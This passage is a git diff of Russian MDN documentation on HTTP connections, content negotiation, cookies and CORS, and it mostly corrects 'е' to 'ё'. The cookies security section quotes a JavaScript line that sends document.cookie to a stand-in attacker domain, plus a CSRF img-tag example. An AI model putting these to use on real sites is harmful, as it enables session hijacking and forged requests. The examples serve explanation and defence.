Типичный <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.</p> <p>Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.</p> @@ -75,10 +75,10 @@ translation_of: Web/HTTP/Connection_management_in_HTTP_1.x <p>Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соединений к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> со стороны сервера.</p> -<p>Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, <code>www.example.com</code>, он может распределить их по нескольким доменам, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (<em>domain sharding)</em>.</p> +<p>Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, <code>www.example.com</code>, он может распределить их по нескольким доменам, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастёт до 18). Этот метод называют доменным разделением (<em>domain sharding)</em>.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p> <h2 id="Заключение">Заключение</h2> -<p>Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.</p> +<p>Улучшение управлением соединениями даёт существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.</p> diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html index 28d401e3ad..4c36d7e82b 100644 --- a/files/ru/web/http/content_negotiation/index.html +++ b/files/ru/web/http/content_negotiation/index.html @@ -11,14 +11,14 @@ translation_of: Web/HTTP/Content_negotiation <h2 id="Принципы_согласования_контента">Принципы согласования контента</h2> -<p>Конкретный документ называется <em>ресурсом</em>. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется <em>представлением</em>, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом <em>согласования контента</em> и существует несколько способов согласования между клиентом и сервером.</p> +<p>Конкретный документ называется <em>ресурсом</em>. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, называется <em>представлением</em>, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определённый URL. Выбор конкретного представления при вызове ресурса определяется механизмом <em>согласования контента</em> и существует несколько способов согласования между клиентом и сервером.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/16156/HTTPNego_ru.png" style="height: 311px; width: 767px;"></p> <p>Определение наиболее подходящего представления производится с помощью одного из двух механизмов:</p> <ul> - <li>Конкретные <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки </a> клиента (<em>согласование на основе сервера </em> или <em>упреждающее согласование</em>), что является стандартным способом согласования определенного вида ресурса.</li> + <li>Конкретные <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки </a> клиента (<em>согласование на основе сервера </em> или <em>упреждающее согласование</em>), что является стандартным способом согласования определённого вида ресурса.</li> <li><a href="/en-US/docs/Web/HTTP/Status">HTTP коды ответа</a> {{HTTPStatus("300")}} (Multiple Choices) или {{HTTPStatus("406")}} (Not Acceptable) (<em>согласование на основе агента</em> или <em>реактивное согласование</em>), используемые в качестве резервных механизмов.</li> </ul> @@ -37,16 +37,16 @@ translation_of: Web/HTTP/Content_negotiation <p>Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:</p> <ul> - <li>У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остается в каком-то смысле произвольным.</li> + <li>У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остаётся в каком-то смысле произвольным.</li> <li>Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).</li> <li>С увеличением количества представлений падает эффективность общих кешей и усложняется реализация сервера.</li> </ul> <h3 id="Заголовок_Accept">Заголовок <code>Accept</code></h3> -<p>Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.</p> +<p>Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделённый запятыми, каждый из которых, опционально, снабжён коэффициентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.</p> -<p>{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">значений по умолчанию, используемых распространенными браузерами</a>.</p> +<p>{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">значений по умолчанию, используемых распространёнными браузерами</a>.</p> <h3 id="Заголовок_Accept-CH_experimental_inline">Заголовок <code>Accept-CH</code> {{experimental_inline}}</h3> @@ -83,7 +83,7 @@ translation_of: Web/HTTP/Content_negotiation <p>Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По традиции он имеет своё значение для каждой локали браузера, например, <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> установлен для западноевропейской локали.</p> -<p>В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.</p> +<p>В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфиденциальность за счёт уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.</p> <h3 id="Заголовок_Accept-Encoding">Заголовок <code>Accept-Encoding</code></h3> diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html index 043d2c19c0..e37f0d3b4d 100644 --- a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html +++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -68,7 +68,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_изображений">Значения для изображений</h2> -<p>Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.</p> +<p>Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задаёт уточнённый список подходящих MIME-типов.</p> <table class="standard-table"> <tbody> @@ -111,7 +111,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_видео">Значения для видео</h2> -<p>Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.</p> +<p>Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточнённое значение.</p> <table class="standard-table"> <tbody> @@ -145,7 +145,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_аудиофайлов">Значения для аудиофайлов</h2> -<p>Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.</p> +<p>Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточнённое значение.</p> <table class="standard-table"> <tbody> @@ -179,7 +179,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_скриптов">Значения для скриптов</h2> -<p>Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточненное значение.</p> +<p>Если запрашивается скрипт, например через HTML-элемент {{HTMLElement("script")}}, в некоторых браузерах используется уточнённое значение.</p> <table class="standard-table"> <tbody> @@ -213,7 +213,7 @@ translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values <h2 id="Значения_для_таблиц_стилей_CSS">Значения для таблиц стилей CSS</h2> -<p>Если запрашивается таблица стилей CSS через HTML-элемент <code><link rel="stylesheet"></code>, в большинстве браузеров используется уточненное значение.</p> +<p>Если запрашивается таблица стилей CSS через HTML-элемент <code><link rel="stylesheet"></code>, в большинстве браузеров используется уточнённое значение.</p> <table class="standard-table"> <tbody> diff --git a/files/ru/web/http/cookies/index.html b/files/ru/web/http/cookies/index.html index 52e3a21943..cef15e96f2 100644 --- a/files/ru/web/http/cookies/index.html +++ b/files/ru/web/http/cookies/index.html @@ -19,7 +19,7 @@ original_slug: Web/HTTP/Куки <p>До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> and <code>sessionStorage</code>) и<a href="/en-US/docs/Web/API/IndexedDB_API"> IndexedDB</a>.</p> <div class="note"> -<p>Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Инспектор хранилища) из раздела Developer Tools (Веб-разработка).</p> +<p>Чтобы посмотреть сохранённые cookies (и какие ещё способы хранения данных использует веб-страница), можно использовать <a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector </a>(Инспектор хранилища) из раздела Developer Tools (Веб-разработка).</p> </div> <h2 id="Создание_cookie">Создание cookie</h2> @@ -32,7 +32,7 @@ original_slug: Web/HTTP/Куки <pre class="syntaxbox">Set-Cookie: <имя-cookie>=<заголовок-cookie></pre> -<p>Этот заголовок с сервера дает клиенту указание сохранить cookie (это делают, например, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> и <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). Отклик, отправляемый браузеру, содержит заголовок <code>Set-Cookie</code>, и cookie запоминается браузером.</p> +<p>Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> и <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). Отклик, отправляемый браузеру, содержит заголовок <code>Set-Cookie</code>, и cookie запоминается браузером.</p> <pre>HTTP/1.0 200 OK Content-type: text/html @@ -41,7 +41,7 @@ Set-Cookie: tasty_cookie=strawberry [page content]</pre> -<p>Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохраненные ранее cookies. </p> +<p>Теперь, с каждым новым запросом к серверу, при помощи заголовка {{HTTPHeader("Cookie")}} браузер будет возвращать серверу все сохранённые ранее cookies. </p> <pre>GET /sample_page.html HTTP/1.1 Host: www.example.org @@ -50,17 +50,17 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry <h3 id="Сессионные_cookie">Сессионные cookie</h3> -<p>Простой cookie, пример которого приведен выше, представляет собой сессионный <em>cookie</em> (<em>session cookie</em>) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты <code>Expires</code> или <code>Max-Age</code> для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.</p> +<p>Простой cookie, пример которого приведён выше, представляет собой сессионный <em>cookie</em> (<em>session cookie</em>) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты <code>Expires</code> или <code>Max-Age</code> для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.</p> <h3 id="Постоянные_cookies">Постоянные cookies</h3> -<p><em>Постоянные cookie</em> ( <em>permanent cookies</em>) удаляются не с закрытием клиента, а при наступлении определенной даты (атрибут <code>Expires</code>) или после определенного интервала времени (атрибут <code>Max-Age</code>).</p> +<p><em>Постоянные cookie</em> ( <em>permanent cookies</em>) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут <code>Expires</code>) или после определённого интервала времени (атрибут <code>Max-Age</code>).</p> <pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> <h3 id="Secure_(безопасные)_и_HttpOnly_cookies">Secure <code>("безопасные") и HttpOnly</code> cookies</h3> -<p>"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг <code>secure</code> никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищенные сайты (http:) не могут создавать куки с флагом <code>secure</code>.</p> +<p>"Безопасные" (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг <code>secure</code> никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом <code>secure</code>.</p> <p>Куки HTTPonly не доступны из JavaScript через свойства {{domxref("Document.cookie")}} API, что помогает избежать межсайтового скриптинга ({{Glossary("XSS")}}). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг <code>HttpOnly</code>.</p> @@ -69,7 +69,7 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry <h3 id="Область_видимости_куков">Область видимости куков</h3> <p><code>Директивы Domain</code> <code>и Path </code>определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.<br> - Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берется доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.</p> + Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.</p> <p>Например, если задано <code>Domain=mozilla.org</code>, то куки включены и в поддоменах, например, в <code>developer.mozilla.org</code>.</p> @@ -96,7 +96,7 @@ document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> -<p>Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчеркнутые ниже (раздел <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). Куки, доступные для JavaScript, могут быть похищены посредством XSS.</p> +<p>Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). Куки, доступные для JavaScript, могут быть похищены посредством XSS.</p> <ul> </ul> @@ -109,7 +109,7 @@ console.log(document.cookie); <h3 id="Захват_сессии_(session_hijacking)_и_XSS">Захват сессии (session hijacking) и XSS</h3> -<p>Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошел процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.</p> +<p>Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для {{Glossary("XSS")}}.</p> <pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> @@ -117,7 +117,7 @@ console.log(document.cookie); <h3 id="Межсайтовая_подделка_запроса_(CSRF_-_Cross-site_request_forgery)">Межсайтовая подделка запроса (CSRF - Cross-site request forgery)</h3> -<p>В <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> приведен хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:</p> +<p>В <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> приведён хороший пример {{Glossary("CSRF")}}. В сообщение (например, в чате или на форуме) включают (якобы) изображение, которое, на самом деле, представляет собой запрос к банковскому серверу на снятие денег:</p> <pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> @@ -134,17 +134,17 @@ console.log(document.cookie); <h3 id="Сторонние_(Third-party)_куки">Сторонние (Third-party) куки</h3> -<p>Куки связаны с определенным доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "<em>куками первого лица</em>" (first-party cookies). Если это другой домен, их называют "<em>сторонними куками</em>" (<em>third-party cookies</em>). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть <a href="https://www.google.com/policies/technologies/types/">типы файлов cookie, используемые Google</a>. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> от <a href="https://www.eff.org/">EFF</a>).</p> +<p>Куки связаны с определённым доменом. Если он совпадает с доменом страницы, на которой вы находитесь, то их называют "<em>куками первого лица</em>" (first-party cookies). Если это другой домен, их называют "<em>сторонними куками</em>" (<em>third-party cookies</em>). Куки первого лица отсылаются только на тот сервер, который их создал. Однако, страница может содержать изображения или другие компоненты (например, рекламные баннеры), хранящиеся на других серверах. Куки, посылаемые через такие компоненты, используются, главным образом, в рекламных целях или для отслеживания информации в сети. В качестве примера можно рассмотреть <a href="https://www.google.com/policies/technologies/types/">типы файлов cookie, используемые Google</a>. Большинство браузеров по умолчанию разрешают использование сторонних куков, но есть расширения, позволяющие их блокировать (например, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> от <a href="https://www.eff.org/">EFF</a>).</p> <p>Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement </a>(создание куков).</p> <h3 id="Не_отслеживать_(Do-Not-Track)">Не отслеживать (Do-Not-Track)</h3> -<p>Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.</p> +<p>Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок {{HTTPHeader("DNT")}}, хотя технических или законодательных требований на этот счёт нет. Подробнее об этом рассказывается в разделе заголовок {{HTTPHeader("DNT")}}.</p> <h3 id="Директива_Евросоюза_о_куках">Директива Евросоюза о куках</h3> -<p>Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.</p> +<p>Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (<a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a>), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счёт могут быть свои законы.</p> <p>Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.</p> diff --git a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html index 48cb10706a..1a69c7a3d0 100644 --- a/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html +++ b/files/ru/web/http/cors/errors/corsalloworiginnotmatchingorigin/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin <h2 id="Что_пошло_не_так">Что пошло не так?</h2> -<p>Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешенных заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p> +<p>Проще говоря, источник делает запрос который не совпадает ни с одним из источников разрешённых заголовком - {{HTTPHeader("Access-Control-Allow-Origin")}}.</p> <p>Эта ошибка также может произойти, если ответ содержит более одного заголовка <code>Access-Control-Allow-Origin</code>.</p> diff --git a/files/ru/web/http/cors/errors/corsdisabled/index.html b/files/ru/web/http/cors/errors/corsdisabled/index.html index c4f75914b1..0c5d69b7c3 100644 --- a/files/ru/web/http/cors/errors/corsdisabled/index.html +++ b/files/ru/web/http/cors/errors/corsdisabled/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTTP/CORS/Errors/CORSDisabled <h2 id="Что_случилось">Что случилось?</h2> -<p>При запросе с использованием {{Glossary("CORS")}}, последний был отключен в браузере пользователя. Чтобы использовать CORS, его необходимо включить.</p> +<p>При запросе с использованием {{Glossary("CORS")}}, последний был отключён в браузере пользователя. Чтобы использовать CORS, его необходимо включить.</p> -<p>В браузере Firefox, настройка которая отключает CORS - <code>content.cors.disable</code>. Устанавливая данное значение в <code>true</code> вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонен с ошибкой.</p> +<p>В браузере Firefox, настройка которая отключает CORS - <code>content.cors.disable</code>. Устанавливая данное значение в <code>true</code> вы отключаете CORS, поэтому каждый раз при использовании CORS запрос будет отклонён с ошибкой.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html index 56875e1603..60e0ed817b 100644 --- a/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html +++ b/files/ru/web/http/cors/errors/corsmissingalloworigin/index.html @@ -11,13 +11,13 @@ translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin <p>В ответе на {{Glossary("CORS")}}-запрос отсутствует заголовок {{HTTPHeader("Access-Control-Allow-Origin")}}, используемый для проверки, может ли ресурс быть доступен для контента на текущем домене.</p> -<p>Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешенных доменов, добавив его в значение заголовка <code>Access-Control-Allow-Origin</code>.</p> +<p>Если у вас есть доступ к серверу, то добавьте домен запрашивающего сайта в список разрешённых доменов, добавив его в значение заголовка <code>Access-Control-Allow-Origin</code>.</p> <p>Например, для предоставления сайту https://amazing.site доступа к ресурсам с использованием CORS, заголовок должен выглядеть так:</p> <pre>Access-Control-Allow-Origin: https://amazing.site</pre> -<p>Также вы можете разрешить доступ любому сайту, используя подстановку <code>*</code>. Используйте этот способ только для публичных API. В закрытых API <code>*</code> не должна использоваться, вместо этого должен быть установлен определенный домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением <code>anonymous</code>.</p> +<p>Также вы можете разрешить доступ любому сайту, используя подстановку <code>*</code>. Используйте этот способ только для публичных API. В закрытых API <code>*</code> не должна использоваться, вместо этого должен быть установлен определённый домен или домены. При этом подстановка работает только для запросов с атрибутом {{htmlattrxref("crossorigin")}} со значением <code>anonymous</code>.</p> <pre>Access-Control-Allow-Origin: *</pre> diff --git a/files/ru/web/http/cors/index.html b/files/ru/web/http/cors/index.html index ca98549889..c7ec4d9028 100644 --- a/files/ru/web/http/cors/index.html +++ b/files/ru/web/http/cors/index.html @@ -13,7 +13,7 @@ translation_of: Web/HTTP/CORS <p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> -<p>Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищенному соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, чтобы снизить риски, присущие запросам с других источников.</p> +<p>Механизм CORS поддерживает кросс-доменные запросы и передачу данных между браузером и web-серверами по защищённому соединению. Современные браузеры используют CORS в API-контейнерах, таких как {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>, чтобы снизить риски, присущие запросам с других источников.</p> <h2 id="Кто_должен_читать_данную_статью">Кто должен читать данную статью?</h2> @@ -31,14 +31,14 @@ translation_of: Web/HTTP/CORS <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL текстуры</a>.</li> <li>Фреймы с изображениями/видео, добавленными в канвас с помощью <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/drawImage">drawImage</a></code>.</li> <li>Стили (для <a href="/en-US/docs/Web/CSS/CSSOM_View">CSSOM</a> доступа).</li> - <li>Скрипты (для отключенных исключений).</li> + <li>Скрипты (для отключённых исключений).</li> </ul> <p>Эта статья описывает общие понятия Cross-Origin Resource Sharing и включает обсуждение необходимых HTTP заголовков.</p> <h2 id="Обзор_функциональности">Обзор функциональности</h2> -<p>Стандарт Cross-Origin Resource Sharing работает с помощью добавления новых <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовков</a>, которые позволяют серверам описывать набор источников, которым разрешено читать информацию, запрашиваемую web-браузером. В частности, для методов HTTP-запросов, которые могут привести к побочным эффектам над данными сервера (в частности, для HTTP методов, отличных от {{HTTPMethod("GET")}} или для {{HTTPMethod("POST")}} запросов, использующих определенные <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-</a>типы), спецификация требует, чтобы браузеры "предпроверяли" запрос, запрашивая поддерживающие методы с сервера с помощью метода HTTP-запроса {{HTTPMethod("OPTIONS")}} и затем, поверх "подтверждения" с сервера, отсылали фактический запрос с фактическим методом HTTP-запроса. Сервера также могут оповещать клиентов должны ли "полномочия" (включая <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> и HTTP Authentication данные) быть отправлены с запросом.</p> +<p>Стандарт Cross-Origin Resource 